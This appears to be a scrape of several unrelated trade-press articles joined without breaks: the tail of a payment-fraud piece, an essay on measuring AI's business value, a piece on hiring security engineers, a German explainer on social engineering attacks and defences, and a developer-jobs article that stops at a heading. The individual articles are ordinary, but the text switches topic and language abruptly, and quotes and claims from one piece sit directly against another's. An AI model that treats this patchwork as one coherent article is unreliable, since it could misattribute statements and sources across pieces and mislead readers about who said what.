Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”

Field manual: What winning institutions do differently

The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.

Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

The emergence of artificial intelligence is beginning to expose a profound weakness in the way modern enterprises measure performance.

For decades, business evaluation systems have been built around the logic of the industrial and transactional economy. Revenue growth, operating margins, earnings per share, labor productivity, return on investment and market share became the dominant indicators of organizational success because they reflected the economic realities of a world in which value creation was primarily tied to physical production, labor efficiency, scale and later the automation of information processing. AI, however, is altering the very structure of enterprise value creation, and in doing so it is creating a widening separation between perceived future value and actual realized economic performance.

Much of the current discussion surrounding AI performance measurement reflects this tension. The overwhelming majority of AI-related metrics being celebrated today are not direct measures of realized enterprise outcomes. They are largely indicators of capability formation, market positioning, experimentation or investor signaling. Metrics such as AI spending levels, number of AI use cases, GPUs deployed, copilots implemented, models placed into production, AI hiring growth or agentic AI pilots all serve primarily as proxies for anticipated future advantage. These indicators may influence stock valuations, analyst sentiment and strategic narratives, but their relationship to measurable operational performance is often indirect, delayed or in some cases entirely speculative.

This distinction is critically important because capital markets have historically rewarded the expectation of technological transformation long before actual economic results materialized. During previous technological revolutions—including electrification, enterprise resource planning, the internet, cloud computing and mobile platforms—valuation expansion frequently preceded measurable productivity gains by many years. The market priced future possibility before operational economics caught up. In many instances, investors rewarded firms simply for appearing strategically aligned with the dominant technological shift of the era. AI appears to be following a similar trajectory.

The phenomenon resembles the famous productivity paradox articulated by economist Robert Solow, who observed that “you can see the computer age everywhere but in the productivity statistics.” AI today is visible everywhere: in investor presentations, earnings calls, technology conferences, product announcements and boardroom strategies. Yet in many industries, its measurable contribution to enterprise productivity, profitability or economic resilience remains difficult to isolate with precision. This does not necessarily mean AI lacks value. Rather, it reflects the reality that traditional accounting and performance systems were never designed to measure the forms of value AI increasingly produces.

Artificial intelligence creates benefits that are often diffuse, cumulative and difficult to attribute directly to financial outcomes. AI may improve forecasting accuracy, reduce fraud, accelerate decision cycles, augment employee effectiveness, improve customer interactions, optimize logistics or enhance cybersecurity resilience. These benefits frequently manifest as second-order effects distributed across the enterprise rather than as immediately visible financial events. The causal chain between AI investment and realized business performance can therefore become extraordinarily difficult to quantify. A company may become operationally more intelligent without immediately becoming measurably more profitable.

At the same time, AI introduces a profound danger: organizations may increasingly optimize for technological narrative rather than durable enterprise economics. Many firms today are pursuing AI primarily because markets reward the appearance of AI leadership. Investor enthusiasm, analyst pressure and competitive fear create incentives to demonstrate visible AI activity regardless of whether measurable economic value has actually been achieved. In this environment, AI metrics can easily become instruments of valuation signaling rather than instruments of operational truth.

This distinction between signaling and substance may become one of the defining economic challenges of the AI era. An organization may announce aggressive AI deployment programs, reduce headcount and report short-term margin improvements while simultaneously increasing hidden forms of technological fragility. Infrastructure costs may rise dramatically as GPU consumption, cloud usage, data engineering requirements and cybersecurity complexity expand. Technical debt may accelerate as AI-generated code proliferates without sufficient architectural discipline. Institutional knowledge may erode as organizations become excessively dependent on opaque models and automated systems. Long-term innovation capacity may weaken if enterprises divert disproportionate resources toward maintaining internally generated AI systems rather than building new strategic capabilities.

What measuring AI value might actually look like

The distinction between AI activity and AI value becomes clearer when viewed through the kinds of measures organizations choose to track. Many enterprises today emphasize indicators such as the number of AI models deployed, copilots implemented, agents created, prompts executed, tokens consumed or employees using AI tools. These metrics demonstrate adoption and technological activity, but they reveal relatively little about whether AI is producing meaningful business outcomes.

Measures of enterprise value look quite different. A manufacturer might evaluate whether AI improves demand forecasting accuracy enough to reduce inventory carrying costs or stockouts. A financial institution might measure whether AI meaningfully lowers fraud losses, accelerates loan processing or improves regulatory compliance. A healthcare provider could assess reductions in administrative burden, faster clinical decision support or improvements in patient throughput. In each case, the objective is not simply to measure AI deployment, but to determine whether AI creates measurable improvements in operational performance, economic outcomes or organizational resilience.

Ultimately, organizations may need to ask a different question: not “How much AI are we using?” but “How much business value does each unit of AI investment create?” That shift—from measuring technological activity to measuring economic outcomes—may become one of the defining management disciplines of the AI era.

Under traditional accounting frameworks, many of these deteriorations remain largely invisible. Quarterly earnings may improve even as underlying enterprise resilience declines. Stock prices may rise even as operational complexity becomes increasingly unsustainable. In this sense, the AI era threatens to widen the gap between financial appearance and organizational reality.

This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.

The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?

These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.

The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.

The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.

Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.

Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Security engineers play a pivotal role in enterprise cybersecurity, because they are the professionals who design, build, and deploy security systems to protect an organization’s data, applications, systems, networks, and other IT components against a variety of cyber threats.

Finding not just qualified security engineers, but the best and brightest available, needs to be a priority for CISOs and others overseeing security at their organizations. That’s especially true with the rapid rise of AI and the threats that brings to the enterprise.

Here are some of the key skills and traits of elite security engineers to look for when hiring — or to acquire in order to uplevel your cybersecurity career.

Acumen with AI-powered tools

These days, AI-related skills are in demand regardless of domain, and this certainly applies to security engineers. There’s a wealth of solutions leveraging AI in the market, tools that engineers can add to their defense arsenal.

“AI is transforming security engineering from reactive alerting to predictive threat detection,” says Praveen Margabandhu, digital engineering anchor at financial services firm Navy Federal Credit Union. “AI-driven anomaly detection now identifies behavioral patterns that indicate fraud or compromise before traditional threshold-based systems would fire. This shifts the security engineer’s role from incident responder to threat model designer.”

AI-powered tools have taken over a large portion of the detection and triage work that used to be the core of a security engineer’s day, says Maruf Ahmed, cofounder and CEO of global tech staffing firm Dexian. “Vulnerability scanning runs on its own now,” he says. “Threat flagging that used to require a team pulling through logs for hours happens in minutes.”

This has freed up capacity on most security teams and changed what the day-to-day work looks like, Ahmed says. “With detection increasingly automated, the engineer’s value sits more in interpreting what gets flagged and deciding what to do about it,” he says.

Keen understanding of emerging and established AI threats

Engineers must also have a thorough understanding of the risks AI presents, including AI-enhanced cyberattacks using large language models (LLMs) to automate and scale highly personalized social engineering attacks, craft sophisticated malware, and generate deepfakes.

Other AI threats they need to be aware of include prompt injections, data and model poisoning, disclosure of sensitive information, model theft, supply chain compromises, and excessive agency.

“The same generative tools that help security teams work faster are available to adversaries, and it shows,” Ahmed says. “Phishing campaigns read better and land more precisely than they did a year ago. Social engineering is harder to catch when the language is polished and tailored to the target, and security engineers are now defending against threats built with the same class of technology they use on the defensive side.”

That has raised the bar for what reliable detection looks like, Ahmed says. “The objective shift I hear most from clients is about trust in their own systems,” he says. “Two years ago, the priority was visibility — making sure you could see across your environment. Most organizations have that now. The harder problem is knowing whether what those tools are telling you holds up under scrutiny and having people on the team who can stand behind those findings in front of a regulator or a board.”

Appreciation of performance and business goals

The best security engineers understand how performance and security intersect, says Margabandhu, who leads performance engineering across Navy Federal Credit Union’s digital banking infrastructure, including real-time fraud detection, identity and access management, and cybersecurity infrastructure resilience.

“A fraud detection system that is secure but too slow to catch transactions in real-time is not secure at all,” Margabandhu says. “Elite engineers optimize for both simultaneously.”

Engineers must be able to put things in business context, Ahmed says. “An engineer who can work across domains, validate AI outputs, and learn new tools fast is valuable. But that value compounds when the person also understands what the organization is trying to protect and why,” he says.

Security engineers who understand the business make better risk decisions, write more effective policies, and generate less friction with the teams around them, Ahmed says. “That is the profile employers are hiring toward right now, and it is where the talent shortage is most pronounced,” he says.

Systems mindset

“One of the biggest misconceptions in cybersecurity hiring is that elite security engineers are defined purely by technical certifications or tool familiarity,” says Juan Mathews Rebello Santos, an independent cybersecurity researcher and ethical hacker.

“Technical skill absolutely matters, but the strongest engineers I’ve worked with consistently share a combination of analytical thinking, operational adaptability, communication ability, and deep systems understanding,” Santos says.

Elite security engineers understand how infrastructure, cloud services, identity systems, applications, APIs, networks, users, and business operations connect, Santos says.

“Modern attacks rarely target a single isolated component anymore,” he says. “Threat actors chain together weaknesses across environments. Engineers who can understand those relationships holistically are significantly more effective at both prevention and incident response.”

Cross-disciplinary fluency and broad stack know-how

Being an elite software engineer today means having a range of technology experience and knowledge. “Organizations want engineers who can work across more of the stack than they used to,” Ahmed says. “A role that might have asked for deep specialization in one area now expects someone who can move between cloud infrastructure, application security, and compliance without needing a handoff at every boundary.”

The attack surface has continued to get wider, and the job descriptions for security engineers has followed suit. “That cross-domain fluency matters because security incidents rarely stay contained in one layer,” Ahmed says. “The engineer who can follow a problem from the network through the application to the data governance framework resolves it faster, with fewer people involved.”

The strongest security engineers bridge infrastructure, application, and business domains, Margabandhu says. “They can speak to a CISO, a developer, and a cloud architect in the same conversation,” he says. “An engineer who can explain what an authentication problem means for fraud exposure moves faster in a room full of executives than one who can only describe it in infrastructure terms. I’ve watched technically brilliant people lose that race repeatedly.”

Having the ability to communicate technical risk clearly to non-technical leadership can mean the difference between success and failure of attacks.

“Many security failures today are not caused by lack of tooling, but by misalignment between technical teams and business decision-makers,” Santos says. “Elite engineers can explain operational risk, prioritization, and security tradeoffs in language executives understand.”

Deep understanding of third-party risk and non-human threats

Threats can come from anywhere, including supply chains and non-human combatants. Third-party cybersecurity risks are on the rise. The 2026 Global CISO Leadership Report by executive search firm Hitch Partners, based on a survey of more than 625 information security executives across the US and Canada, says 43% put third-party risks as the No. 1 priority.

“Most teams are still better at securing what they own than securing what they depend on,” Margabandhu says. “The mental shift from perimeter thinking to dependency thinking is real and not everyone has made it. The engineers who treat every API call, every credentialed vendor, every third-party model as part of their attack surface approach design differently.”

Another growing source of potential threats are not human. Machine identities now outnumber human identities by ratios exceeding 100 to 1 in most enterprise environments, with some sectors closer to 500 to 1, according to the ManageEngine Identity Security Outlook 2026 report.

This includes service accounts, API keys, automation tokens, and AI agents, any one of which can present data governance and security risks.

Many organizations are still managing machine identities through manual processes that weren’t designed for scale, Margabandhu says. “Engineers who understand non-human identity governance are rare and increasingly important. This is not a future problem.”

Willingness to keep learning

Security engineers need to have a desire to never stopped learning.

“That sounds obvious until you work with people who’ve been doing this for 15 years and are still operating from the same threat models they built in 2012,” Margabandhu says. “Security changes fast enough that standing still is the same as going backwards.”

The security engineers who keep up aren’t reading one report a year. “They’re genuinely curious about what attackers are doing right now, this month, and they adjust how they think accordingly,” Margabandhu says. “That quality is harder to hire for than most technical skills, because it’s not on a resume.”

With AI presenting new and more sophisticated threats, keeping up with the latest developments is perhaps more important than ever. “Strong engineers are naturally investigative,” Santos says. “They actively study attack techniques, test assumptions, reverse engineer failures, and continuously adapt their understanding of risk.”

The best security engineers are often the people who remain intellectually uncomfortable because they know the landscape is always evolving, Santos says.

Employers have started paying closer attention to how fast someone can learn, Ahmed says. “The threat landscape and the defensive toolkit are both moving faster than any certification program can track, so hiring managers are probing for adaptability in interviews: how candidates have responded to recent shifts, whether they have picked up unfamiliar platforms on their own, how they work through problems they have not seen before,” he says.

Selbst wenn Sie bei der Absicherung Ihres Rechenzentrums, Ihrer Cloud-Implementierungen und der physischen Sicherheit Ihres Firmengebäudes alle Register ziehen – mit Hilfe von Social Engineering finden gewiefte Cyberkriminelle meistens einen Weg, diese Maßnahmen zu umgehen.

Social Engineering – Definition

Social Engineering bezeichnet die “Kunst”, menschliche Schwächen auszunutzen, um sich Zugang zu Gebäuden, Systemen oder Daten zu verschaffen. Anstatt zu versuchen, eine Software-Schwachstelle zu finden und auszunutzen, wird ein Social Engineer beispielsweise einen Mitarbeiter anrufen und sich als IT-Support-Angestellter ausgeben, um ihn zur Herausgabe seines Passworts zu bewegen.

Der bekannte Hacker Kevin Mitnick hat den Begriff Social Engineering in den 1990er Jahren entscheidend mitgeprägt. Die Grundidee, sich menschliches Verhalten zunutze zu machen und die Techniken dahinter, gibt es allerdings schon so lange, wie es Betrüger gibt.

Social Engineering – Techniken

Social Engineering hat sich für Cyberkriminelle als besonders erfolgreich erwiesen, wenn es darum geht in Unternehmen einzudringen. Sobald ein Angreifer das Passwort eines vertrauenswürdigen Mitarbeiters erbeutet hat, kann er sich damit einloggen und sensible Daten auslesen. Mit einer Zugangskarte oder einem Code, der physischen Zugang gewährt, können Cyberkriminelle sogar noch größeren Schaden anrichten.

Im Artikel “Social Engineering: Anatomy of a Hack” beschreibt ein Penetrationtester, wie er aktuelle Ereignisse, öffentlich verfügbare Informationen aus sozialen Netzwerken und ein Hemd mit Cisco-Logo aus einem Second-Hand-Laden dazu nutzte, illegal in ein Unternehmen einzudringen. Das vier Dollar teure Gebrauchthemd half ihm, die Rezeptionisten und andere Mitarbeiter davon zu überzeugen, dass er im Auftrag von Cisco technischen Support leisten müsste. Einmal eingedrungen, war es für ihn ein Leichtes, auch anderen Teammitgliedern Zutritt zu verschaffen. Darüber hinaus gelang es dem Ethical Hacker, mehrere mit Malware verseuchte USB-Sticks in den Räumen zu platzieren und sich in das Unternehmensnetzwerk zu hacken. All das lief vor den Augen der Mitarbeiter ab.

Um einen erfolgreichen Social-Engineering-Angriff zu fahren, müssen Sie nicht unbedingt zuerst in einen Second-Hand-Laden gehen, diese Angriffe funktionieren ebenso gut per E-Mail, Telefon oder über soziale Netzwerke. Allen Angriffsarten ist dabei gemein, dass sie menschliche Eigenschaften zu ihrem Vorteil nutzen – beispielsweise Gier, Angst, Neugier oder auch das Bedürfnis, anderen zu helfen.

Cyberkriminelle nehmen sich dabei oft Wochen oder Monate Zeit, um ein Ziel auszukundschaften, bevor Sie einen persönlichen Besuch wagen, eine Nachricht senden oder einen Anruf tätigen. Zu den Vorbereitungen kann beispielsweise gehören, eine Telefonliste oder ein Organigramm des Zielunternehmens zu finden oder die Mitarbeiter über soziale Netzwerke zu recherchieren. Anschließend können Sie beispielsweise über folgende Wege aktiv werden.

• Am Telefon: Ein Social Engineer könnte anrufen und vorgeben, ein Mitarbeiter oder eine vertrauenswürdige externe Autorität zu sein (zum Beispiel ein Strafverfolgungsbeamter oder ein Wirtschaftsprüfer).

• Im Büro:“Können Sie mir die Tür aufhalten? Ich habe meinen Schlüssel/ meine Zugangskarte vergessen.” Diesen Satz haben Sie sicher auch schon einmal so vernommen. Auch wenn die fragende Person nicht verdächtig erscheinen mag – das ist eine beliebte Taktik beim Social Engineering.

• Online: Soziale Netzwerke erleichtern es, Social-Engineering-Angriffe zu fahren. Über Plattformen wie LinkedIn lassen sich schnell und einfach die meisten Mitarbeiter eines Unternehmens finden. Oft kommen noch viele andere Informationen dazu, die unter Umständen für weitere Angriffe nützlich sein können.

Beim Social Engineering werden regelmäßig auch aktuelle Ereignisse, Feiertage oder auch Popkultur-Phänomene dazu eingesetzt, Opfer in die Falle zu locken. Dabei passen die Cyberkriminellen ihre Phishing-Angriffe so an, dass sie auf bestimmte Interessen (Musik, Sport, Politik, etc.) abzielen. Das erhöht die Chance, dass die mit Malware verseuchten Anhänge angeklickt werden.

Social Engineering – Angriffsformen

• Phishing-Angriffe (zu denen auch SMS-basierte Smishing– und Voice-basierte Vishing-Attacken zählen) sind oft mit geringem Aufwand verbunden. Das Motto: “Die Masse macht’s”. Im Rahmen von Phishing-Kampagnen werden oft Tausende identischer E-Mails verschickt. Anschließend müssen die Angreifer nur noch darauf warten, dass jemand leichtgläubig genug ist, um auf den enthaltenen Anhang zu klicken.

• Spear Phishing oder auch Whaling bezeichnet Phishing-Angriffe, die ganz bewusst hochrangige Ziele ins Visier nehmen. Spear-Phishing-Angreifer verbringen im Regelfall viel Zeit damit, solche Ziele zunächst auszukundschaften. Das Ziel besteht dabei darin, einen möglichst überzeugenden, personalisierten Scam auf die Beine zu stellen.

• Baiting ist ein essenzieller Bestandteil aller Phishing-Formen – und anderen Betrügereien. Es bezeichnet die Verlockung, mit der die Ziele in Versuchung geführt werden – sei es eine SMS, die kostenlose Geschenkkarten verspricht oder eine E-Mail, die Kryptowährungen zu besonders attraktiven Preisen oder gar kostenlos in Aussicht stellt.

• Beim Pretexting handelt es sich um eine betrügerische Form von “Storytelling”. Die dabei erfundene Geschichte soll das Opfer zum Beispiel dazu bewegen, persönliche Informationen oder Zugangsdaten preiszugeben. Weiß ein Angreifer beispielsweise, bei welcher Bank sein Opfer Kunde ist, könnte er sich als Mitarbeiter des Kundendiensts ausgeben und unter einem Vorwand wie “Zahlungsverzug” versuchen, Finanzinformationen zu erhalten.

• Business Email Compromise (BEC), auch bekannt als CEO-Fraud, kombiniert mehrere der bislang genannten Techniken. Ein Angreifer erlangt entweder die Kontrolle über die E-Mail-Adresse eines Opfers oder schafft es, E-Mails zu versenden, die so aussehen, als kämen sie von dieser legitimen Adresse. Damit kontaktieren die Angreifer die Untergebenen des Angegriffenen in seinem Namen und ordnen beispielsweise dringliche Überweisungen an.

• Tailgating ist eine physische Social-Engineering-Form, bei der Angreifer den Mitarbeitern eines Unternehmens ins Firmengebäude folgen. Dazu könnten diese sich beispielsweise als Lieferant oder neuer Mitarbeiter, der den Ausweis vergessen hat, ausgeben.

Social Engineering – Beispiele

Um ein Gefühl dafür zu bekommen, auf welche Social-Engineering-Taktiken Sie besonders achten sollten, empfiehlt sich ein Blick auf erfolgreiche Angriffe der Vergangenheit. Hierbei konzentrieren wir uns auf drei spezifische Social-Engineering-Angriffe, die für Cyberkriminelle besonders einträglich ausgefallen sind:

1. Etwas Verlockendes anbieten

Jeder Trickbetrüger weiß: Am einfachsten ist es, aus der menschlichen Gier Profit zu schlagen. Das bildet die Grundlage des klassischen nigerianischen 419-Scams: Hierbei gaukeln Betrüger ihren Opfern vor, sie müssten hohe, unrechtmäßig erworbene Geldsummen aus dem eigenen Land zu einer sicheren Bank im Ausland transferieren. Dazu bräuchten sie Unterstützung: Gegen die Zahlung vermeintlicher Provisions-, Verwaltungs- oder Versicherungsgebühren könnten die Opfer einen Gutteil des oft millionenschweren Geldbetrags abbekommen, so dass betrügerische Versprechen.

Angriffe dieser Art sind seit Jahrzehnten bekannt und eigentlich eine Lachnummer, aber nichtsdestotrotz immer noch eine effektive Social-Engineering-Technik, auf die Menschen hereinfallen: Im Jahr 2007 überwies der Schatzmeister eines dünn besiedelten Bezirks im US-Bundesstaat Michigan einem solchen Betrüger 1,2 Millionen Dollar an öffentlichen Geldern – in der Hoffnung abkassieren zu können.

Ein weiterer gängiger Köder ist die Aussicht auf einen neuen, besseren Job: Im Rahmen einer äußerst peinlichen Kompromittierung traf es im Jahr 2011 das Sicherheitsunternehmen RSA auf diese Weise. Mindestens zwei Mitarbeiter öffneten eine Malware-verseuchte Datei, die an eine Phishing-E-Mail angehängt war. Der Dateiname: “2011 recruitment plan.xls”.

2. Fake it till you make it

Eine der simpelsten – und überraschenderweise auch erfolgreichsten – Social-Engineering-Techniken besteht darin, sich als ratlosen Mitarbeiter auszugeben. Bei einem seiner legendären frühen Betrugsversuche verschaffte sich Kevin Mitnick Zugang zu den Betriebssystem-Entwicklungsservern der Digital Equipment Corporation. Sein Vorgehen: Er rief bei DEC an, gab sich als leitender Entwickler aus und behauptete, er habe Probleme mit dem Login. Er wurde postwendend mit neuen Logindaten versorgt. Das spielte sich schon 1979 ab – man sollte also meinen, die Dinge hätten sich seitdem verbessert. Das ist allerdings nicht der Fall: Im Jahr 2016 erlangte ein Hacker die Kontrolle über ein E-Mail-Konto des US-Justizministeriums und nutzte es, um sich wie seinerzeit Mitnick Zugangsdaten zu verschaffen.

Zwar haben viele Organisationen Barrieren aufgebaut, die diese Art des dreisten Betrugs verhindern sollen, aber oft ist es nicht besonders schwer, sie zu umgehen. Als Hewlett-Packard (HP) im Jahr 2005 Privatdetektive damit beauftragte herauszufinden, welche Vorstandsmitglieder Informationen an die Presse durchstachen, versorgte das Unternehmen die Schnüffler mit den letzten vier Ziffern der Sozialversicherungsnummer ihrer Zielpersonen. Diese Daten akzeptierte der technische Support von HPs TK-Provider AT&T als Identitätsnachweis und händigte den Detektiven detaillierte Anrufprotokolle aus.

3. Autorität spielen

Viele Menschen sind daran gewöhnt, Autoritäten zu respektieren. Das wissen auch Cyberkriminelle. Sie spielen sich als Vorgesetzte oder Führungskräfte aus, um an ihr Ziel zu gelangen. So überwiesen im Jahr 2015 Finanzmitarbeiter von Ubiquiti Networks Firmengelder in Millionenhöhe an Social-Engineering-Betrüger, die sich als Führungskräfte des Unternehmens ausgegeben und ihre Glaubwürdigkeit mit gefälschten E-Mail-Absendern unterstrichen hatten.

Ein anderes Beispiel: Zur Jahrtausendwende gehörte es für (manche) britische Boulevard-Journalisten zum guten Ton, sich Zugang zu den Voicemail-Konten von für sie interessanten Personen zu verschaffen. So überzeugte ein Journalist den TK-Anbieter Vodafone davon, die Voicemail-PIN der Schauspielerin Sienna Miller zurückzusetzen, indem er dort anrief und sich als “Kollege John aus der Credit-Control-Abteilung” ausgab.

Ein weiteres prominentes Beispiel ist John Podesta, Hillary Clintons ehemaliger Wahlkampfleiter, der 2016 von russischen Spionen gehackt wurde. Die Cyberkriminellen hatten ihm im Vorfeld eine Phishing-E-Mail zugestellt, die als Nachricht von Google getarnt war und eine Aufforderung enthielt, sein Passwort zurückzusetzen. Statt sein Konto zu schützen, gab er damit seine Anmeldedaten preis.

Social Engineering – Zahlen & Statistiken

• Allein im Jahr 2024 konnten kriminelle Hacker durch BEC-Angriffe rund 6,3 Milliarden Dollar einstreichen. (Quelle: Verizon DBIR 2025)

• Smishing macht 39 Prozent aller mobilen Bedrohungen aus. (Quelle: SlashNext)

• Mit der Einführung von ChatGPT stieg die Zahl der Social-Engineering-Angriffe um 45 Prozent. (Quelle: SlashNext)

• Mit 17 Prozent aller Kompromittierungen ist Phishing der zweithäufigste, initiale Malware-Infektionsvektor. (Quelle: Mandiant M-Trends-Report 2024)

Social-Engineering-Angriffe abwehren

Wir haben fünf Tipps zur Abwehr von Social-Engineering-Attacken für Sie zusammengestellt:

1. Security Awareness

Security-Awareness-Schulungen sind der beste Weg, um Social Engineering zu verhindern. Nur wenn die Mitarbeiter wissen, welche Gefahr ihnen droht, können sie sich gegen solche Angriffe wappnen. Erarbeiten Sie ein umfassendes Schulungsprogramm, dass zu mehr Sicherheitsbewusstsein führt! Es sollte regelmäßig aktualisiert werden, um sowohl allgemeinen Phishing-Bedrohungen als auch neuen, gezielten Bedrohungen angemessen begegnen zu können.

Dabei sollten Sie von einer tiefgehenden Erklärung technischer Schwachstellen und Details absehen und stattdessen Beispiele nennen, die die Methoden der Angreifer in den Fokus stellen. Auch interaktive Elemente wie ein Quiz können dazu beitragen, Mitarbeiter vorzubereiten.

2. Security-Briefing für Mitarbeiter in Schlüsselpositionen

Unternehmen sollten Führungskräfte und leitende Angestellte in ihre Bemühungen einbeziehen, da sie für Cyberkriminelle die attraktivsten Social-Engineering-Ziele darstellen. Wichtig ist es auch Mitarbeiter, die die Berechtigung zu Finanztransaktionen haben, regelmäßig über die Gefahren aufzuklären.

3. Bestehende Prozesse prüfen

Für finanzielle und andere wichtige Transaktionen bietet es sich an, zusätzliche Kontrollmaßnahmen einzuziehen. Dabei gilt es im Auge zu behalten, dass einige Schutzmaßnahmen, beispielsweise eine Aufgabentrennung, sinnlos werden könnten, wenn es sich um eine Insider-Bedrohung handelt. Eine regelmäßige Risikoanalyse ist zu empfehlen.

4. Neue Richtlinien für dringende Anfragen

Sendet der Vorstandsvorsitzende eine E-Mail von seinem Gmail-Konto, sollte das bei den Mitarbeitern Alarmsignale auslösen. Um vorschnelle Reaktionen zu vermeiden, die ins Unglück führen können, sollten Mitarbeiter ein klar definiertes Notfallverfahren an die Hand bekommen und im Zweifel direkt mit dem Absender kommunizieren können.

5. Incident Management

Überprüfen, verfeinern und testen Sie regelmäßig Ihre Incident-Management-Systeme. Dazu bieten sich Übungen mit der Geschäftsleitung und den wichtigsten Mitarbeitern an, in denen Kontrollmechanismen und potenzielle Schwachstellen auf den Prüfstand kommen.

Social Engineering – Toolkits

Es gibt am Markt einige Tools und Services, die Unternehmen bei Awareness-Kampagnen und Phishing-Simulationen unterstützen:

• Das Social Engineering Toolkit von TrustedSec steht als kostenloser Download zur Verfügung und hilft bei der Automatisierung von Penetrationstests. Zu den Features gehören neben Social Engineering auch Spear Phishing, Fake Websites und USB-basierte Angriffe.

• Das Social Engineering Framework ist eine weitere gute Ressource. Laut Aussage der Macher enthält es “aktuelle wissenschaftliche, technische und psychologische Informationen” zum Thema. Das Ziel sei es, “eine Informationssammlung für Sicherheitsexperten, Penetrationstester und Enthusiasten zu schaffen”. Das Framework wird regelmäßig aktualisiert.

(fm)

Dieser Beitrag ist im Original bei unserer Schwesterpublikation CSOonline.com erschienen.

While many technology companies have slowed hiring or even launched significant layoffs, that doesn’t mean job opportunities have dried up for software developers. In fact, skilled developers—particularly those with knowledge of AI—are in demand in other industries.

The key to success for developers looking to snatch up these roles is to be well-prepared to meet the needs of potential employers in a variety of sectors.

“The demand for developers in non-tech sectors is real and growing, but the roles look different from what you’d find at a software company,” says Pragati Awasthi, assistant teaching professor of AI and data science at Drexel University.

“Across all these sectors, the common thread is that software is no longer a support function; it is embedded in core operations,” Awasthi says. “The developer in these environments is often the person translating domain-specific business problems into technical solutions, which requires a different profile than a pure product engineer at a tech firm.”

Opportunity knocks

The tech industry has long been a mainstay as far as employing software developers. But as these businesses trim staffs in efforts to cut expenses, that has impacted the hiring landscape. Even as the tech sector scales back, however, companies in industries such as financial services/fintech, healthcare/healthtech, retail/ecommerce, and manufacturing are looking to acquire programming talent.

“The unifying factor is data complexity,” Awasthi says. “These industries generate large volumes of sensitive, regulated, or operationally critical data, and they need developers who can build and maintain systems that handle it responsibly.”

While recruiting firm Summit Search Group has placed developers in roles with technology companies, “it is just as common to recruit them for roles outside this niche,” says Matt Erhard, managing partner at the company. “There are actually a fairly wide variety of roles available for developers in industries beyond tech,” Erhard says.

For example, in financial services Summit Search Group has seen significant hiring for back-end and data engineers who can build and maintain fraud detection systems, digital banking platforms, and regulatory tools, Erhard says. In healthcare, companies are hiring developers to build AI-driven diagnostics platforms and patient portals, or to work with systems that manage electronic health records, he says.

In manufacturing and industrial companies, developers are needed for systems integration and embedded software related to predictive maintenance, Internet of Things (IoT) systems, and smart factories. And in retail and ecommerce, there’s strong demand for full-stack developers and data developers who can handle logistics systems, omni-channel platforms, and personalization engines, Erhard says.

“One significant function where we’ve been placing developer talent lately is in developing business systems and internal applications,” Erhard says. These roles often have titles such as systems engineer or application developer, and professionals are hired to handle tasks such as customizing customer relationship management (CRM) or enterprise resource planning (ERP) platforms, building workflow automation tools or modernizing legacy systems, he says.

Other core functions for which Summit Search Group has placed a lot of developers include data, analytics, and AI-enablement. “That could be directly involved with data engineering or in building tools like reporting systems and ETL [extract, transform, load] pipelines,” Erhard says.

The firm also has handled searches for developers who can build and maintain customer-facing products for banking, healthcare, and retail companies, such as mobile apps or digital platforms customers can use to interact with companies.

Randstad Digital, a provider of global technology talent, sees demand for roles including web developers, system developers, and app developers. “These professionals would work on anything from customer-facing platforms to internal tools,” says Michael Morris, global head of platform and talent at the company. “Non-tech companies are also often hiring roles like software architecture and devops to help scale existing technology. These involve being more ingrained in the business, like building a supply chain system for a retailer, rather than creating individual tech products like you would at a technology company.”

Prep for success

To increases the chances of success at landing developer jobs outside of the tech industry, development professionals would be wise to follow some good practices.

Boost AI skills

One best practice is to boost skills in using AI-powered tools and get familiar with all things AI.

“Get fluent with AI-assisted development and its limits,” Awasthi says. “This is not optional. Organizations across every sector expect developers to use AI coding tools productively. But the more durable skill is knowing when AI output is wrong, incomplete, or unsuitable for a regulated context. That critical evaluation capacity is what non-tech employers are increasingly trying to hire.”

AI does not necessarily replace the need for human developers so much as it changes the skills profile for those roles, Erhard says. “The biggest difference in recent years is that AI literacy is now a non-negotiable,” he says. “At minimum, developers today need to understand concepts like prompt engineering and how to use AI tools to improve their efficiency.”

One thing many job candidates don’t expect is that the rise of AI has also increased the importance of high-level skills such as problem framing, system design, and cross-functional communication,” Erhard says. “Essentially, if something is related to development but too complex or nuanced for an AI to handle effectively, then the demand is high for human developers who have that expertise,” he says.

Candidates who land roles consistently have experience building AI-augmented workflows along with standard coding skills, Erhard says. “Employers increasingly expect to hire developers who can leverage AI, so demonstrating this experience on your résumé can be very beneficial,” he says.

Gain domain knowledge

